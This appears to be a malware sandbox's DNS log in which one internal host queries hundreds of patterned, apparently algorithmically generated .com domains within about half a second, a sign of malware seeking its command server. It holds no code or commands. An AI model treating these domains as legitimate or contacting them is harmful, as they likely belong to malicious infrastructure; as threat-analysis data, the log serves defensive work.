                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.944988966 CET192.168.2.41.1.1.10x64c3Standard query (0)pumygil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.954511881 CET192.168.2.41.1.1.10xd748Standard query (0)lysyjex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.959659100 CET192.168.2.41.1.1.10x5054Standard query (0)galycah.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.963788986 CET192.168.2.41.1.1.10xe51Standard query (0)volycem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.965358019 CET192.168.2.41.1.1.10xf849Standard query (0)puzypav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.971410036 CET192.168.2.41.1.1.10x1147Standard query (0)qedyruv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.972742081 CET192.168.2.41.1.1.10x7a63Standard query (0)vofykyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.973670006 CET192.168.2.41.1.1.10x3ac2Standard query (0)lyxysad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.977082968 CET192.168.2.41.1.1.10xe90dStandard query (0)qedykep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.982242107 CET192.168.2.41.1.1.10xdeafStandard query (0)gaqynih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.982294083 CET192.168.2.41.1.1.10x5ebbStandard query (0)lymynuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.983125925 CET192.168.2.41.1.1.10x4a91Standard query (0)vowymom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.983618021 CET192.168.2.41.1.1.10xdb55Standard query (0)pumybuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.985455036 CET192.168.2.41.1.1.10x5ae1Standard query (0)qeqyniq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:22.985519886 CET192.168.2.41.1.1.10x9eb9Standard query (0)volypof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.000509977 CET192.168.2.41.1.1.10xde60Standard query (0)vojyzik.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.000612020 CET192.168.2.41.1.1.10xf11eStandard query (0)gatyqeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.000824928 CET192.168.2.41.1.1.10x6da2Standard query (0)qebyfup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.000930071 CET192.168.2.41.1.1.10x22a7Standard query (0)pujyxoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.004549980 CET192.168.2.41.1.1.10x7e00Standard query (0)puvydyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.004817009 CET192.168.2.41.1.1.10xc861Standard query (0)qexysev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.005227089 CET192.168.2.41.1.1.10x1a13Standard query (0)vocydyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.005419016 CET192.168.2.41.1.1.10x35ebStandard query (0)gadykyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.005568981 CET192.168.2.41.1.1.10x2bcbStandard query (0)qegylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.009378910 CET192.168.2.41.1.1.10xf6a7Standard query (0)qetyqag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.009485960 CET192.168.2.41.1.1.10xd9c9Standard query (0)purymog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.009627104 CET192.168.2.41.1.1.10x98ecStandard query (0)pufylul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.009705067 CET192.168.2.41.1.1.10x1074Standard query (0)gacydes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.009860039 CET192.168.2.41.1.1.10xa7d6Standard query (0)vopyqef.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.012506962 CET192.168.2.41.1.1.10xb02bStandard query (0)lyryman.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.012825966 CET192.168.2.41.1.1.10xa1ceStandard query (0)lyvyfux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.013799906 CET192.168.2.41.1.1.10xa849Standard query (0)gahyziw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.017265081 CET192.168.2.41.1.1.10xf1ecStandard query (0)lygylur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.058171034 CET192.168.2.41.1.1.10xa27cStandard query (0)puvycel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.058657885 CET192.168.2.41.1.1.10x9cebStandard query (0)gahyruh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.062946081 CET192.168.2.41.1.1.10x2856Standard query (0)lyrygid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.064186096 CET192.168.2.41.1.1.10xd6b0Standard query (0)vocycat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.065263033 CET192.168.2.41.1.1.10x4926Standard query (0)qegyryq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.067224026 CET192.168.2.41.1.1.10x587fStandard query (0)gacycaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.070245028 CET192.168.2.41.1.1.10xa117Standard query (0)purygiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.082401991 CET192.168.2.41.1.1.10xb074Standard query (0)lygywyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.097206116 CET192.168.2.41.1.1.10xc8f4Standard query (0)lyxyxox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.097426891 CET192.168.2.41.1.1.10x7374Standard query (0)pufyweq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.102312088 CET192.168.2.41.1.1.10x4427Standard query (0)vofyqek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.102550983 CET192.168.2.41.1.1.10x78feStandard query (0)puzyxip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.102710962 CET192.168.2.41.1.1.10x12a3Standard query (0)lymyfyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.111893892 CET192.168.2.41.1.1.10xaa8eStandard query (0)lysymor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.114372015 CET192.168.2.41.1.1.10xfc1fStandard query (0)volyrut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.116959095 CET192.168.2.41.1.1.10x9bceStandard query (0)vofyjom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.119014978 CET192.168.2.41.1.1.10xc924Standard query (0)qedyqal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.119990110 CET192.168.2.41.1.1.10x66a2Standard query (0)qeqyfug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.120340109 CET192.168.2.41.1.1.10x66dStandard query (0)galyzus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.121526957 CET192.168.2.41.1.1.10xa9d9Standard query (0)pupymol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.121943951 CET192.168.2.41.1.1.10xe202Standard query (0)pujylyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.123384953 CET192.168.2.41.1.1.10x7a33Standard query (0)gatyniz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.124299049 CET192.168.2.41.1.1.10x1589Standard query (0)lyvysaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.125864983 CET192.168.2.41.1.1.10xb2c9Standard query (0)gahykeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.126218081 CET192.168.2.41.1.1.10x5784Standard query (0)qetynup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.127765894 CET192.168.2.41.1.1.10x2588Standard query (0)vocypok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.128171921 CET192.168.2.41.1.1.10x1bbbStandard query (0)lyrynux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.129326105 CET192.168.2.41.1.1.10xea1dStandard query (0)qekyluv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.133090973 CET192.168.2.41.1.1.10x6a7fStandard query (0)lysygij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.133260012 CET192.168.2.41.1.1.10x39c3Standard query (0)pumycav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.139914989 CET192.168.2.41.1.1.10x48e7Standard query (0)gadyhoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.140086889 CET192.168.2.41.1.1.10x5c6fStandard query (0)lyxytur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.140249014 CET192.168.2.41.1.1.10xa151Standard query (0)lymyved.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.143018961 CET192.168.2.41.1.1.10x56aStandard query (0)puvypoq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.143835068 CET192.168.2.41.1.1.10x9a69Standard query (0)qedyhiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.159921885 CET192.168.2.41.1.1.10x789cStandard query (0)galyryz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.164302111 CET192.168.2.41.1.1.10x981fStandard query (0)purybup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.164736032 CET192.168.2.41.1.1.10x35acStandard query (0)pufyjag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.165127993 CET192.168.2.41.1.1.10x25a2Standard query (0)vojykyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.167100906 CET192.168.2.41.1.1.10x3ff5Standard query (0)qexytil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.167618990 CET192.168.2.41.1.1.10x8053Standard query (0)gaqyvys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.168781042 CET192.168.2.41.1.1.10x6d1cStandard query (0)qebysaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.170938969 CET192.168.2.41.1.1.10x2f5bStandard query (0)vowyguf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.171334028 CET192.168.2.41.1.1.10xdb4Standard query (0)gacypiw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.171370983 CET192.168.2.41.1.1.10xff99Standard query (0)vopymit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.171727896 CET192.168.2.41.1.1.10x4da0Standard query (0)lykylud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.171758890 CET192.168.2.41.1.1.10x48e5Standard query (0)ganydeh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.171916008 CET192.168.2.41.1.1.10x198bStandard query (0)gaqyfub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.171928883 CET192.168.2.41.1.1.10xae16Standard query (0)vonydem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.172291040 CET192.168.2.41.1.1.10xe674Standard query (0)volyzic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.172317982 CET192.168.2.41.1.1.10x49e3Standard query (0)qexyxop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.172492027 CET192.168.2.41.1.1.10x36cStandard query (0)gadyqaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.172755957 CET192.168.2.41.1.1.10x1befStandard query (0)qeqyvev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.172970057 CET192.168.2.41.1.1.10x58Standard query (0)puzytul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.173233032 CET192.168.2.41.1.1.10x9b67Standard query (0)qegykeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.173233032 CET192.168.2.41.1.1.10xf86aStandard query (0)vowybyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.173417091 CET192.168.2.41.1.1.10xf59Standard query (0)pumydyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.174627066 CET192.168.2.41.1.1.10x6731Standard query (0)lygyjan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.181385994 CET192.168.2.41.1.1.10xa986Standard query (0)vonycaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.181768894 CET192.168.2.41.1.1.10xf216Standard query (0)pupyguq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.185456991 CET192.168.2.41.1.1.10x5bf2Standard query (0)qekyryp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.188436985 CET192.168.2.41.1.1.10xeb21Standard query (0)ganycob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.188556910 CET192.168.2.41.1.1.10x705dStandard query (0)lykywex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.189104080 CET192.168.2.41.1.1.10xc246Standard query (0)vopyguk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.221007109 CET192.168.2.41.1.1.10xb679Standard query (0)gatyfuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.221007109 CET192.168.2.41.1.1.10x89aStandard query (0)pujywep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.222728968 CET192.168.2.41.1.1.10x5126Standard query (0)qebyxog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.223339081 CET192.168.2.41.1.1.10xb11eStandard query (0)lyvyxin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.224952936 CET192.168.2.41.1.1.10x6e22Standard query (0)qetyfyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.227447987 CET192.168.2.41.1.1.10xd39eStandard query (0)vojyqac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.227447987 CET192.168.2.41.1.1.10xbde5Standard query (0)puvyxig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.243160009 CET192.168.2.41.1.1.10xf289Standard query (0)lyryfyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.243448019 CET192.168.2.41.1.1.10x653bStandard query (0)gahyqas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.244160891 CET192.168.2.41.1.1.10x3558Standard query (0)qegyqov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.244160891 CET192.168.2.41.1.1.10xc442Standard query (0)vocyzum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.251194000 CET192.168.2.41.1.1.10x4fcfStandard query (0)lyvytud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.251554966 CET192.168.2.41.1.1.10x212eStandard query (0)pujyjol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.251730919 CET192.168.2.41.1.1.10xeb4cStandard query (0)gatyveh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.252226114 CET192.168.2.41.1.1.10x35ddStandard query (0)pupybyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.253350973 CET192.168.2.41.1.1.10x1f9eStandard query (0)vonypic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.255009890 CET192.168.2.41.1.1.10xe34fStandard query (0)qebytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.265917063 CET192.168.2.41.1.1.10x7419Standard query (0)qedynug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.265917063 CET192.168.2.41.1.1.10x1c0aStandard query (0)vopybym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.266918898 CET192.168.2.41.1.1.10xef0dStandard query (0)puzylyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.270333052 CET192.168.2.41.1.1.10xabcbStandard query (0)lymysox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.270430088 CET192.168.2.41.1.1.10xa3b2Standard query (0)pumypop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.270549059 CET192.168.2.41.1.1.10x64ddStandard query (0)galykew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.270853996 CET192.168.2.41.1.1.10x209fStandard query (0)ganypis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.271544933 CET192.168.2.41.1.1.10x1f87Standard query (0)qekykal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.271544933 CET192.168.2.41.1.1.10x7da6Standard query (0)lysynun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.272649050 CET192.168.2.41.1.1.10x7984Standard query (0)lykyjar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.272649050 CET192.168.2.41.1.1.10xe0f3Standard query (0)lysyfed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.274626017 CET192.168.2.41.1.1.10xb59dStandard query (0)vofymif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.276874065 CET192.168.2.41.1.1.10xfdbeStandard query (0)gaqydaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.277291059 CET192.168.2.41.1.1.10x3f0bStandard query (0)volykek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.278893948 CET192.168.2.41.1.1.10x96dStandard query (0)pufymiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.279572010 CET192.168.2.41.1.1.10xec1eStandard query (0)gadynub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.280132055 CET192.168.2.41.1.1.10x92eeStandard query (0)vowydet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.289654016 CET192.168.2.41.1.1.10x43eeStandard query (0)qexyluq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.289933920 CET192.168.2.41.1.1.10x66f4Standard query (0)pumyxul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.296943903 CET192.168.2.41.1.1.10xfc23Standard query (0)lygymod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.297540903 CET192.168.2.41.1.1.10xb71fStandard query (0)qedyfyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.297983885 CET192.168.2.41.1.1.10x9e54Standard query (0)volyqam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.298099041 CET192.168.2.41.1.1.10x6188Standard query (0)lymyxir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.298489094 CET192.168.2.41.1.1.10xc8b0Standard query (0)gadyfys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.298787117 CET192.168.2.41.1.1.10x3140Standard query (0)puzywag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.299324989 CET192.168.2.41.1.1.10xf13cStandard query (0)lyxylyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.306214094 CET192.168.2.41.1.1.10x292Standard query (0)gacyzuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.308216095 CET192.168.2.41.1.1.10x7052Standard query (0)purydel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.308794975 CET192.168.2.41.1.1.10x96Standard query (0)qeqysap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.312792063 CET192.168.2.41.1.1.10xa334Standard query (0)vowycok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.325732946 CET192.168.2.41.1.1.10xd277Standard query (0)lyxywen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.326050043 CET192.168.2.41.1.1.10x2f99Standard query (0)gacyryb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.326472044 CET192.168.2.41.1.1.10xfec8Standard query (0)puvytuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.330653906 CET192.168.2.41.1.1.10x1322Standard query (0)qeqyxil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.330982924 CET192.168.2.41.1.1.10xa4b2Standard query (0)vofyguc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.331459999 CET192.168.2.41.1.1.10x9d02Standard query (0)pufygup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.331691027 CET192.168.2.41.1.1.10x37c0Standard query (0)galyqoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.332132101 CET192.168.2.41.1.1.10x97b1Standard query (0)qexyreg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.333373070 CET192.168.2.41.1.1.10xd243Standard query (0)vocyryf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.335007906 CET192.168.2.41.1.1.10x3972Standard query (0)vojyjot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.335547924 CET192.168.2.41.1.1.10x3c50Standard query (0)gaqycow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.336211920 CET192.168.2.41.1.1.10x7beeStandard query (0)lyryvaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.336652994 CET192.168.2.41.1.1.10xc7caStandard query (0)lygygux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.337148905 CET192.168.2.41.1.1.10xfb78Standard query (0)qegyhip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.338500023 CET192.168.2.41.1.1.10x254aStandard query (0)purycaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.351363897 CET192.168.2.41.1.1.10x6449Standard query (0)qetyveq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.373713017 CET192.168.2.41.1.1.10xbbd9Standard query (0)gadydow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.374231100 CET192.168.2.41.1.1.10x24fbStandard query (0)vonyzut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.375540972 CET192.168.2.41.1.1.10x7538Standard query (0)qeqylyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.375540972 CET192.168.2.41.1.1.10x88f9Standard query (0)qebylyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.377933025 CET192.168.2.41.1.1.10x7e1eStandard query (0)vofydak.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.379661083 CET192.168.2.41.1.1.10xfd94Standard query (0)pufydaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.380106926 CET192.168.2.41.1.1.10x58cdStandard query (0)qexyqip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.380625963 CET192.168.2.41.1.1.10x6851Standard query (0)vowyzuf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.383887053 CET192.168.2.41.1.1.10xd8ebStandard query (0)lygyfej.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.384021044 CET192.168.2.41.1.1.10x7f57Standard query (0)gacyqoz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.384478092 CET192.168.2.41.1.1.10x2808Standard query (0)gaqyzyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.385134935 CET192.168.2.41.1.1.10x726fStandard query (0)puryxuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.385992050 CET192.168.2.41.1.1.10x7be2Standard query (0)pupycop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.387058973 CET192.168.2.41.1.1.10x87f4Standard query (0)vocyqot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.388777018 CET192.168.2.41.1.1.10x572Standard query (0)lyryxud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.390027046 CET192.168.2.41.1.1.10xe294Standard query (0)qetyxiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.401388884 CET192.168.2.41.1.1.10xa51bStandard query (0)pupydev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.401388884 CET192.168.2.41.1.1.10x91fcStandard query (0)lyvywar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.407947063 CET192.168.2.41.1.1.10xb332Standard query (0)pujygug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.407947063 CET192.168.2.41.1.1.10xf3e4Standard query (0)vopycoc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                                    Nov 11, 2024 18:50:23.408096075 CET192.168.2.41.1.1.10xf922Standard query (0)ganyrew.comA (IP address)IN (0x0001)false
